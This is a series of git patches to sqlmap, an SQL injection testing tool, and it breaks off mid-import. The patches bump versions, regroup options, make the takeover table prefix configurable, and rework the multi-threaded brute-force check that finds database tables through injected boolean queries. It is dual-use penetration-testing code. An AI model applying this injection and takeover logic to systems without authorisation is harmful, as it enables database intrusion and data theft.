15f6796b044ba90d653f107b7ce7d7e495712df5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 11 Aug 2019 01:32:20 +0200 Subject: [PATCH 545/800] Fixes #3871 --- lib/core/decorators.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index de23c66d6d7..a01f0840449 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -85,7 +85,7 @@ def lockedmethod(f): @functools.wraps(f) def _(*args, **kwargs): if f not in _method_locks: - _method_locks[f] = threading.Lock() + _method_locks[f] = threading.RLock() with _method_locks[f]: result = f(*args, **kwargs) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6c747208a45..0d68262317b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.4" +VERSION = "1.3.8.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 94ef433a375049101743ef0bc34a9c787f5c86f9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2019 11:58:33 +0200 Subject: [PATCH 546/800] Minor update for #3874 --- lib/core/settings.py | 2 +- lib/core/threads.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0d68262317b..dcdf8b81664 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.5" +VERSION = "1.3.8.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index ce0b374ba36..e37b3b3bd00 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -97,11 +97,11 @@ def exceptionHandledFunction(threadFunction, silent=False): except Exception as ex: from lib.core.common import getSafeExString - if not silent and kb.get("threadContinue"): + if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException): errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) - if conf.get("verbose") > 1 and not isinstance(ex, (SqlmapUserQuitException, SqlmapConnectionException)): + if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): traceback.print_exc() def setDaemon(thread): From aa2682ec167fbaba5f080681cf18d0df8191d535 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2019 12:23:45 +0200 Subject: [PATCH 547/800] Fixes #3873 --- lib/core/settings.py | 2 +- lib/utils/brute.py | 149 +++++++++++++++++++++++-------------------- 2 files changed, 81 insertions(+), 70 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index dcdf8b81664..9cce31976bc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.6" +VERSION = "1.3.8.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/brute.py b/lib/utils/brute.py index c27de4c682b..c3a34481ae9 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -60,6 +60,7 @@ def _addPageTextWords(): return wordsList +@stackedmethod def tableExists(tableFile, regex=None): if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) @@ -74,15 +75,17 @@ def tableExists(tableFile, regex=None): result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.db = conf.db.upper() - if result: errMsg = "can't use table existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) + pushValue(conf.db) + + if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + conf.db = conf.db.upper() + message = "which common tables (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % tableFile message += "[2] custom" @@ -92,80 +95,88 @@ def tableExists(tableFile, regex=None): message = "what's the custom common tables file location?\n" tableFile = readInput(message) or tableFile - infoMsg = "checking table existence using items from '%s'" % tableFile + infoMsg = "performing table existence using items from '%s'" % tableFile logger.info(infoMsg) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) - threadData = getCurrentThreadData() - threadData.shared.count = 0 - threadData.shared.limit = len(tables) - threadData.shared.files = [] - threadData.shared.unique = set() + for conf.db in (conf.db.split(',') if conf.db else [conf.db]): + if conf.db: + infoMsg = "checking database '%s'" % conf.db + logger.info(infoMsg) - def tableExistsThread(): threadData = getCurrentThreadData() - - while kb.threadContinue: - kb.locks.count.acquire() - if threadData.shared.count < threadData.shared.limit: - table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) - threadData.shared.count += 1 - kb.locks.count.release() - else: - kb.locks.count.release() - break - - if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): - fullTableName = "%s.%s" % (conf.db, table) - else: - fullTableName = table - - result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) - - kb.locks.io.acquire() - - if result and table.lower() not in threadData.shared.unique: - threadData.shared.files.append(table) - threadData.shared.unique.add(table.lower()) - - if conf.verbose in (1, 2) and not conf.api: - clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) - dataToStdout(infoMsg, True) - - if conf.verbose in (1, 2): - status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) - dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) - - kb.locks.io.release() - - try: - runThreads(conf.threads, tableExistsThread, threadChoice=True) - except KeyboardInterrupt: - warnMsg = "user aborted during table existence " - warnMsg += "check. sqlmap will display partial output" - logger.warn(warnMsg) - - clearConsoleLine(True) - dataToStdout("\n") - - if not threadData.shared.files: - warnMsg = "no table(s) found" - logger.warn(warnMsg) - else: - for item in threadData.shared.files: - if conf.db not in kb.data.cachedTables: - kb.data.cachedTables[conf.db] = [item] - else: - kb.data.cachedTables[conf.db].append(item) - - for _ in ((conf.db, item) for item in threadData.shared.files): - if _ not in kb.brute.tables: - kb.brute.tables.append(_) - + threadData.shared.count = 0 + threadData.shared.limit = len(tables) + threadData.shared.files = [] + threadData.shared.unique = set() + + def tableExistsThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + kb.locks.count.acquire() + if threadData.shared.count < threadData.shared.limit: + table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break + + if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + fullTableName = "%s.%s" % (conf.db, table) + else: + fullTableName = table + + result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) + + kb.locks.io.acquire() + + if result and table.lower() not in threadData.shared.unique: + threadData.shared.files.append(table) + threadData.shared.unique.add(table.lower()) + + if conf.verbose in (1, 2) and not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) + dataToStdout(infoMsg, True) + + if conf.verbose in (1, 2): + status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + + kb.locks.io.release() + + try: + runThreads(conf.threads, tableExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during table existence " + warnMsg += "check. sqlmap will display partial output" + logger.warn(warnMsg) + + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.files: + warnMsg = "no table(s) found" + if conf.db: + warnMsg += "for database '%s'" % conf.db + logger.warn(warnMsg) + else: + for item in threadData.shared.files: + if conf.db not in kb.data.cachedTables: + kb.data.cachedTables[conf.db] = [item] + else: + kb.data.cachedTables[conf.db].append(item) + + for _ in ((conf.db, item) for item in threadData.shared.files): + if _ not in kb.brute.tables: + kb.brute.tables.append(_) + + conf.db = popValue() hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) return kb.data.cachedTables From fd4becf3897d7afde713e229d03241c0f7ed6b52 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2019 12:27:28 +0200 Subject: [PATCH 548/800] Minor deprecation patch (drei) --- lib/core/settings.py | 2 +- lib/utils/httpd.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9cce31976bc..59fffe19a7f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.7" +VERSION = "1.3.8.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py index 1591ee1fa07..afde95cdd7c 100644 --- a/lib/utils/httpd.py +++ b/lib/utils/httpd.py @@ -78,7 +78,7 @@ def do_GET(self): self.send_header(HTTP_HEADER.CONNECTION, "close") if content is not None: - for match in re.finditer(b"<\!(\w+)\!>", content): + for match in re.finditer(b"", content): name = match.group(1) _ = getattr(self, "_%s" % name.lower(), None) if _: From 412301bb18c58c6aa6dff91cdf270f055edd0731 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2019 12:29:18 +0200 Subject: [PATCH 549/800] Another trivial patch related to the last commit --- lib/core/settings.py | 2 +- lib/utils/httpd.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 59fffe19a7f..5bf646ed830 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.8" +VERSION = "1.3.8.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py index afde95cdd7c..da5fd993512 100644 --- a/lib/utils/httpd.py +++ b/lib/utils/httpd.py @@ -78,7 +78,7 @@ def do_GET(self): self.send_header(HTTP_HEADER.CONNECTION, "close") if content is not None: - for match in re.finditer(b"", content): + for match in re.finditer(b"", content): name = match.group(1) _ = getattr(self, "_%s" % name.lower(), None) if _: From bfe8785ed5246d0f4809e215987d7dfbf439e53e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2019 14:55:26 +0200 Subject: [PATCH 550/800] Minor regrouping --- lib/core/optiondict.py | 16 +++++------ lib/core/settings.py | 2 +- lib/parse/cmdline.py | 46 ++++++++++++++++---------------- sqlmap.conf | 60 +++++++++++++++++++++--------------------- 4 files changed, 62 insertions(+), 62 deletions(-) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 9ded226f8af..63b7cd67e49 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -31,6 +31,7 @@ "loadCookies": "string", "dropSetCookie": "boolean", "agent": "string", + "mobile": "boolean", "randomAgent": "boolean", "host": "string", "referer": "string", @@ -100,6 +101,7 @@ "notString": "string", "regexp": "string", "code": "integer", + "smart": "boolean", "textOnly": "boolean", "titles": "boolean", }, @@ -197,10 +199,12 @@ "General": { "trafficFile": "string", + "answers": "string", "batch": "boolean", "binaryFields": "string", "charset": "string", "checkInternet": "boolean", + "cleanup": "boolean", "crawlDepth": "integer", "crawlExclude": "string", "csvDel": "string", @@ -210,6 +214,7 @@ "flushSession": "boolean", "forms": "boolean", "freshQueries": "boolean", + "googlePage": "integer", "harFile": "string", "hexConvert": "boolean", "outputDir": "string", @@ -218,28 +223,23 @@ "repair": "boolean", "saveConfig": "string", "scope": "string", + "skipWaf": "boolean", "testFilter": "string", "testSkip": "string", - "updateAll": "boolean", + "webRoot": "string", }, "Miscellaneous": { "alert": "string", - "answers": "string", "beep": "boolean", - "cleanup": "boolean", "dependencies": "boolean", "disableColoring": "boolean", - "googlePage": "integer", "listTampers": "boolean", - "mobile": "boolean", "offline": "boolean", "purge": "boolean", - "skipWaf": "boolean", - "smart": "boolean", "tmpDir": "string", - "webRoot": "string", "wizard": "boolean", + "updateAll": "boolean", "verbose": "integer", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index 5bf646ed830..83c16d0c27b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.9" +VERSION = "1.3.8.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 073142032e5..584a2d39e33 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -152,6 +152,9 @@ def cmdLineParser(argv=None): request.add_argument("--user-agent", dest="agent", help="HTTP User-Agent header value") + request.add_argument("--mobile", dest="mobile", action="store_true", + help="Imitate smartphone through HTTP User-Agent header") + request.add_argument("--random-agent", dest="randomAgent", action="store_true", help="Use randomly selected HTTP User-Agent header value") @@ -344,6 +347,9 @@ def cmdLineParser(argv=None): detection.add_argument("--code", dest="code", type=int, help="HTTP code to match when query is evaluated to True") + detection.add_argument("--smart", dest="smart", action="store_true", + help="Perform thorough tests only if positive heuristic(s)") + detection.add_argument("--text-only", dest="textOnly", action="store_true", help="Compare pages based only on the textual content") @@ -585,6 +591,9 @@ def cmdLineParser(argv=None): general.add_argument("-t", dest="trafficFile", help="Log all HTTP traffic into a textual file") + general.add_argument("--answers", dest="answers", + help="Set predefined answers (e.g. \"quit=N,follow=N\")") + general.add_argument("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behavior") @@ -594,6 +603,9 @@ def cmdLineParser(argv=None): general.add_argument("--check-internet", dest="checkInternet", action="store_true", help="Check Internet connection before assessing the target") + general.add_argument("--cleanup", dest="cleanup", action="store_true", + help="Clean up the DBMS from sqlmap specific UDF and tables") + general.add_argument("--crawl", dest="crawlDepth", type=int, help="Crawl the website starting from the target URL") @@ -624,6 +636,9 @@ def cmdLineParser(argv=None): general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", help="Ignore query results stored in session file") + general.add_argument("--gpage", dest="googlePage", type=int, + help="Use Google dork results from specified page number") + general.add_argument("--har", dest="harFile", help="Log all HTTP traffic into a HAR file") @@ -648,17 +663,20 @@ def cmdLineParser(argv=None): general.add_argument("--scope", dest="scope", help="Regexp to filter targets from provided proxy log") + general.add_argument("--skip-waf", dest="skipWaf", action="store_true", + help="Skip heuristic detection of WAF/IPS protection") + general.add_argument("--test-filter", dest="testFilter", help="Select tests by payloads and/or titles (e.g. ROW)") general.add_argument("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") - general.add_argument("--update", dest="updateAll", action="store_true", - help="Update sqlmap") + general.add_argument("--web-root", dest="webRoot", + help="Web server document root directory (e.g. \"/var/www\")") # Miscellaneous options - miscellaneous = parser.add_argument_group("Miscellaneous") + miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") miscellaneous.add_argument("-z", dest="mnemonics", help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") @@ -666,50 +684,32 @@ def cmdLineParser(argv=None): miscellaneous.add_argument("--alert", dest="alert", help="Run host OS command(s) when SQL injection is found") - miscellaneous.add_argument("--answers", dest="answers", - help="Set predefined answers (e.g. \"quit=N,follow=N\")") - miscellaneous.add_argument("--beep", dest="beep", action="store_true", help="Beep on question and/or when SQL injection is found") - miscellaneous.add_argument("--cleanup", dest="cleanup", action="store_true", - help="Clean up the DBMS from sqlmap specific UDF and tables") - miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", help="Check for missing (optional) sqlmap dependencies") miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", help="Disable console output coloring") - miscellaneous.add_argument("--gpage", dest="googlePage", type=int, - help="Use Google dork results from specified page number") - miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", help="Display list of available tamper scripts") - miscellaneous.add_argument("--mobile", dest="mobile", action="store_true", - help="Imitate smartphone through HTTP User-Agent header") - miscellaneous.add_argument("--offline", dest="offline", action="store_true", help="Work in offline mode (only use session data)") miscellaneous.add_argument("--purge", dest="purge", action="store_true", help="Safely remove all content from sqlmap data directory") - miscellaneous.add_argument("--skip-waf", dest="skipWaf", action="store_true", - help="Skip heuristic detection of WAF/IPS protection") - - miscellaneous.add_argument("--smart", dest="smart", action="store_true", - help="Conduct thorough tests only if positive heuristic(s)") - miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true", help="Prompt for an interactive sqlmap shell") miscellaneous.add_argument("--tmp-dir", dest="tmpDir", help="Local directory for storing temporary files") - miscellaneous.add_argument("--web-root", dest="webRoot", - help="Web server document root directory (e.g. \"/var/www\")") + miscellaneous.add_argument("--update", dest="updateAll", action="store_true", + help="Update sqlmap") miscellaneous.add_argument("--wizard", dest="wizard", action="store_true", help="Simple wizard interface for beginner users") diff --git a/sqlmap.conf b/sqlmap.conf index b68f9b8eee5..49d3ec72737 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -67,6 +67,10 @@ dropSetCookie = False # sqlmap will also test for SQL injection on the HTTP User-Agent value. agent = +# Imitate smartphone through HTTP User-Agent header. +# Valid: True or False +mobile = False + # Use randomly selected HTTP User-Agent header value. # Valid: True or False randomAgent = False @@ -343,6 +347,10 @@ regexp = # code) # code = +# Conduct thorough tests only if positive heuristic(s). +# Valid: True or False +smart = False + # Compare pages based only on the textual content. # Valid: True or False textOnly = False @@ -683,6 +691,9 @@ sessionFile = # Log all HTTP traffic into a textual file. trafficFile = +# Set predefined answers (e.g. "quit=N,follow=N"). +answers = + # Never ask for user input, use the default behaviour. # Valid: True or False batch = False @@ -693,6 +704,10 @@ binaryFields = # Check Internet connection before assessing the target. checkInternet = False +# Clean up the DBMS from sqlmap specific UDF and tables. +# Valid: True or False +cleanup = False + # Crawl the website starting from the target URL. # Valid: integer # Default: 0 @@ -729,6 +744,11 @@ forms = False # Valid: True or False freshQueries = False +# Use Google dork results from specified page number. +# Valid: integer +# Default: 1 +googlePage = 1 + # Use hex conversion during data retrieval. # Valid: True or False hexConvert = False @@ -752,15 +772,18 @@ repair = False # Example: (google|yahoo) scope = +# Skip heuristic detection of WAF/IPS protection. +# Valid: True or False +skipWaf = False + # Select tests by payloads and/or titles (e.g. ROW) testFilter = # Skip tests by payloads and/or titles (e.g. BENCHMARK) testSkip = -# Update sqlmap. -# Valid: True or False -updateAll = False +# Web server document root directory (e.g. "/var/www"). +webRoot = [Miscellaneous] @@ -768,9 +791,6 @@ updateAll = False # Run host OS command(s) when SQL injection is found. alert = -# Set predefined answers (e.g. "quit=N,follow=N"). -answers = - # Beep on question and/or when SQL injection is found. # Valid: True or False beep = False @@ -779,10 +799,6 @@ beep = False # Valid: True or False checkPayload = False -# Clean up the DBMS from sqlmap specific UDF and tables. -# Valid: True or False -cleanup = False - # Check for missing (optional) sqlmap dependencies. # Valid: True or False dependencies = False @@ -791,41 +807,25 @@ dependencies = False # Valid: True or False disableColoring = False -# Use Google dork results from specified page number. -# Valid: integer -# Default: 1 -googlePage = 1 - # Display list of available tamper scripts # Valid: True or False listTampers = False -# Imitate smartphone through HTTP User-Agent header. -# Valid: True or False -mobile = False - # Work in offline mode (only use session data) # Valid: True or False offline = False -# Skip heuristic detection of WAF/IPS protection. -# Valid: True or False -skipWaf = False - -# Conduct thorough tests only if positive heuristic(s). -# Valid: True or False -smart = False - # Local directory for storing temporary files. tmpDir = -# Web server document root directory (e.g. "/var/www"). -webRoot = - # Simple wizard interface for beginner users. # Valid: True or False wizard = False +# Update sqlmap. +# Valid: True or False +updateAll = False + # Verbosity level. # Valid: integer between 0 and 6 # 0: Show only error and critical messages From 0e1464757356fb71d5a1e801b70da67de2174b82 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2019 14:59:10 +0200 Subject: [PATCH 551/800] Minor refactoring --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 7 ++----- 3 files changed, 4 insertions(+), 7 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 982653a1b9e..59e143c8fee 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1929,7 +1929,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "index", "io", "limit", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None diff --git a/lib/core/settings.py b/lib/core/settings.py index 83c16d0c27b..6bf7a0c8481 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.10" +VERSION = "1.3.8.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 2f2ebf45502..85dc3629aac 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -8,7 +8,6 @@ from __future__ import division import re -import threading import time from extra.safe2bin.safe2bin import safecharencode @@ -190,10 +189,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) - hintlock = threading.Lock() - def tryHint(idx): - with hintlock: + with kb.locks.hint: hintValue = kb.hintValue if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: @@ -212,7 +209,7 @@ def tryHint(idx): if result: return hintValue[idx - 1] - with hintlock: + with kb.locks.hint: kb.hintValue = "" return None From 3f1a8e81b4cb57ff048101b2ec525f975763fc6a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Aug 2019 15:22:02 +0200 Subject: [PATCH 552/800] Adding support for #3870 --- lib/core/defaults.py | 1 + lib/core/settings.py | 5 +---- lib/parse/cmdline.py | 3 +++ lib/request/direct.py | 3 +-- plugins/generic/filesystem.py | 3 +-- plugins/generic/takeover.py | 3 +-- sqlmap.conf | 4 ++++ 7 files changed, 12 insertions(+), 10 deletions(-) diff --git a/lib/core/defaults.py b/lib/core/defaults.py index d7a27423529..914caac3865 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -20,6 +20,7 @@ "level": 1, "risk": 1, "dumpFormat": "CSV", + "tablePrefix": "sqlmap", "technique": "BEUSTQ", "torType": "SOCKS5", } diff --git a/lib/core/settings.py b/lib/core/settings.py index 6bf7a0c8481..4f2481bd67d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.11" +VERSION = "1.3.8.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -807,9 +807,6 @@ OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } -# Table prefix to use in "takeover" functionalities (i.e. auxiliary tables used by sqlmap at the vulnerable DBMS) -TAKEOVER_TABLE_PREFIX = "sqlmap" - # Suffixes used in brute force search for web server document root BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 584a2d39e33..49300f1d82b 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -666,6 +666,9 @@ def cmdLineParser(argv=None): general.add_argument("--skip-waf", dest="skipWaf", action="store_true", help="Skip heuristic detection of WAF/IPS protection") + general.add_argument("--table-prefix", dest="tablePrefix", + help="Prefix used for temporary tables (default: \"%s\")" % defaults.tablePrefix) + general.add_argument("--test-filter", dest="testFilter", help="Select tests by payloads and/or titles (e.g. ROW)") diff --git a/lib/request/direct.py b/lib/request/direct.py index 5326d27e908..14c5e1c0b8e 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -25,7 +25,6 @@ from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import TIMEOUT_STATE -from lib.core.settings import TAKEOVER_TABLE_PREFIX from lib.core.settings import UNICODE_ENCODING from lib.utils.timeout import timeout @@ -54,7 +53,7 @@ def direct(query, content=True): if not select and "EXEC " not in query.upper(): timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) - elif not (output and ("%soutput" % TAKEOVER_TABLE_PREFIX) not in query and ("%sfile" % TAKEOVER_TABLE_PREFIX) not in query): + elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index f622a0dfd55..946c3ae95c3 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -33,7 +33,6 @@ from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUndefinedMethod -from lib.core.settings import TAKEOVER_TABLE_PREFIX from lib.core.settings import UNICODE_ENCODING from lib.request import inject @@ -43,7 +42,7 @@ class Filesystem(object): """ def __init__(self): - self.fileTblName = "%sfile" % TAKEOVER_TABLE_PREFIX + self.fileTblName = "%sfile" % conf.tablePrefix self.tblField = "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 8cc6f51702a..d1953923f13 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -25,7 +25,6 @@ from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException -from lib.core.settings import TAKEOVER_TABLE_PREFIX from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from 